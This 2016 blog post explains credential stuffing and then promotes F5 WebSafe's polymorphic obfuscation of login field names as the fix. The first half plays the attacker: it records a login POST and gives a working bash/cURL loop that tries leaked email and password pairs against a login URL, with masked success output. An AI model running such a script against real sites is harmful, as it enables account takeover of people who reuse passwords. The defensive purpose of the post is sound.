Month: August 2016

Before we can jump into Stolen Credential Stuffing protection (Account Takeover Protection) or mitigation we must first understand why this is an issue.  In 2015, there was 780 breaches along with 177 million user credentials (source). While not every data breach has an email and password associated, the fact of the matter remains that there are some. If I am a bad guy, I am banking on the average user to reuse the same email address and password across multiple sites. The cool part about being the bad guy in this scenario is, I don’t have to be the l33t hack3r who breached your site. Often these data breaches are sold on the black markets or distributed thru various channels such as tor, pastebin, social media, torrents, etc. Moving forward in this scenario, let’s say I was able to get my hands on the AshleyMadison data that is available out on torrents. I can dump the database into a text file and use the email addresses and passwords to see if they work on non AshleyMadison websites.  Next step, profile my victim.

Legal Disclaimer

***Don’t be a douche.  Use this information to increase your security posture; not to break others.***

That being said, let’s get started.

Using BurpSuite, Fiddler, tcpdump, chrome developer tools, or httpfox, I can record the login process. In this example, I used httpfox to examine the POST:

username=user%40google.com&password=stolenpassword&SubmitCreds=Log+On

Next, I can massage this into a script, I prefer cURL:

url="https://foo.dev/login"
for user in $(userlist_gen); do
  for pass in $(passlist_gen); do
    http_code=$(curl -L --data-urlencode  username="$user" --data-urlencode password="$pass" "$url" -w '%{http_code}' -o /dev/null -s)
    if [[ $http_code -eq 302 ]]; then
      echo "Success: User: '$user' Pass: '$pass'"
      break 2
    fi
  done
done

Next, run the script against my target:

$ ./bf.sh 
Success: User: 'foru***@*****.com' Pass: '*********'
Success: User: 'dick***@*****.com' Pass: '*********'
Success: User: 'puns***@*****.com' Pass: '*********'
Success: User: 'brea***@*****.com' Pass: '*********'
Success: User: 'ente***@*****.com' Pass: '*********'
Success: User: 'eliz***@*****.com' Pass: '*********'
Success: User: '12ed***@*****.com' Pass: '*********'
Success: User: 'walt***@*****.com' Pass: '*********'
Success: User: 's7n1***@*****.com' Pass: '*********'
$ 

As you can see from the script, I differentiate a successful login from an unsuccessful login by the HTTP Status Code of 302. While this is true in the example, every endpoint could be different. The level of effort here is minimal but the reward is great. In a matter of an hour, I was able to do the following:

• Download a list of email addresses and passwords (I didn’t even have to pay!)
• Profile my victim
• Create a simple bash script to loop each username and password
• Spit out the successful login attempts in the terminal window

I know what you are thinking, how on earth can you prevent this type of attack? Well if it was 2006, you could do the following:

• Blacklist repeat offenders by IP
• Rate limit the URL

But what do you do if the attack is slow and low as described in this article? How do you stop a possible attack that could be using stolen credentials that is coming from a distributed network of IPs that have never done anything bad before? Let’s say that network of IPs is 4000 deep and only make  a request once every couple of days? You need a solution that isn’t 10 years old because by the time you blacklist or rate limit, it will be too late.

I know what you are thinking….what kind of futuristic, Minority Report like, cross between 1984 and The Matrix, society do you think we live in? Don’t worry, I’ll feed you baby birds.

Let’s take off our bad guy ball cap and start playing for the home team. Ready to play a game?

For this demo, I will be using F5 WebSafe Fraud Protection Service. This product has the following features:

Malware and fraud detecting
WebSafe applies advanced identification techniques that enable your organization to recognize infected users and sophisticated malware patterns, including MITB, injections of malicious script, or attempted automated transfers. MobileSafe allows you to verify SSL
certificates, detect MITM malware, and identify mobile app modifications. These solutions help your organization understand the full scope of threats and ensure protection.

Advanced phishing detection
WebSafe provides advanced and preemptive phishing detection capabilities that help your organization to identify attacks before mass emails are communicated. WebSafe detects and alerts the organization when the phishing site has been loaded to a spoofed domain. WebSafe also identifies the attacker and referrer, as well as other critical details, and reports
this back to the organization.

Application-level encryption
Advanced application-level encryption protects all sensitive information transferred from users to organizations and renders any data intercepted by an attacker worthless. The encryption protects account information that may become compromised prior to SSL encryption while data is in use within the browser or mobile application.

Transaction protection
WebSafe performs a series of transaction checks, including iFrame checks,
behavioral analysis, signature and function verification, and more. WebSafe then assigns a risk score to each transaction based on its likelihood of being fraudulent.

Device and behavior analysis
WebSafe is able to identify and prevent automated payments and money transfers initiated by malware or bots by assessing a variety of device-specific and behavioral variables, which together are designed to distinguish human users from automated scripts or bots.

Jailbroken or rooted device detection
MobileSafe uses a variety of checks to identify security issues—such as outdated operating system versions or signs indicating that the application has been cracked—and then assigns a risk score to devices. Jailbroken or at-risk devices allow users to easily download software from unverified sources—and may contain malware. MobileSafe also detects transactions originating from at-risk mobile devices to thwart Zeus, Citadel, and other popular malware families that are easily integrated into cracked applications and used to obtain the victim’s one-time password (OTP), redirect SMS messages, and log information submitted by the user.

User and application transparency
WebSafe and MobileSafe uniquely enable fraud detection and protection without modifications to applications or client-side installations. The fraud protection solution allows you to secure from online threats without changing the user experience or introducing complexities into application code, ensuring full transparency and greater efficiency in deployment

While breadth of Websafe is vast, we will be focusing on Application Level Encryption to protect our site against credential stuffing attacks. Specifically, the ability to obfuscate the username and password parameter names via polymorphic code. The obfuscation occurs on every request and is unique per connection. The flow looks like this:

1. Client requests the login page.
2. F5 WebSafe intercepts the requests and signs it via private and public key encryption.
3. F5, due to its full proxy architecture, sends the request to the web application unmodified.
4. The web application responds and F5 WebSafe obfuscates the HTML on the fly, and returns the modified page (along with public key and javascript) to the client.
   
5. If you were to right click and inspect the element (check the username and passwords parameters) it would normally look like this:
   Instead F5 WebSafe has kicked in and via the polymorphic code, has dynamically changed the values for this connection:
   
   

The values for username and password have changed to *#H&#FAJSDH&alsdf and (*#gf&@HFYb_(*!!D respectively. Every time this page is hit via any HTTP Method, the values change and they are not reused.

Think about that for a minute. Think how we profiled the victim and ultimately created a script to pass usernames and passwords to the application. Think of how difficult it would be to code your script to pull the dynamic value. The values are never the same length and it is a regex nightmare. Now factor in the ability to also check for the human element and boom, you can’t script against that.

Before you celebrate…

You know the why and you’ve seen the mitigation, now let’s look at the how.  This is accomplished in 97 super complex steps. Just kidding.

Step 1-Create a profile:

Step 2-Specify the login URL (/login.php)

Step 3-Add the parameter and obfuscate (username/password), the Click create

Step 4-Add profile to virtual server

Boom, you’re done. In the example, we configured the F5 WebSafe to obfuscate the username and password parameters for login.php. From this point forward, every time login.php is hit (or refreshed), the parameter names will always change for username and password.

Shoot me an email to thank me.

Best regards,

BD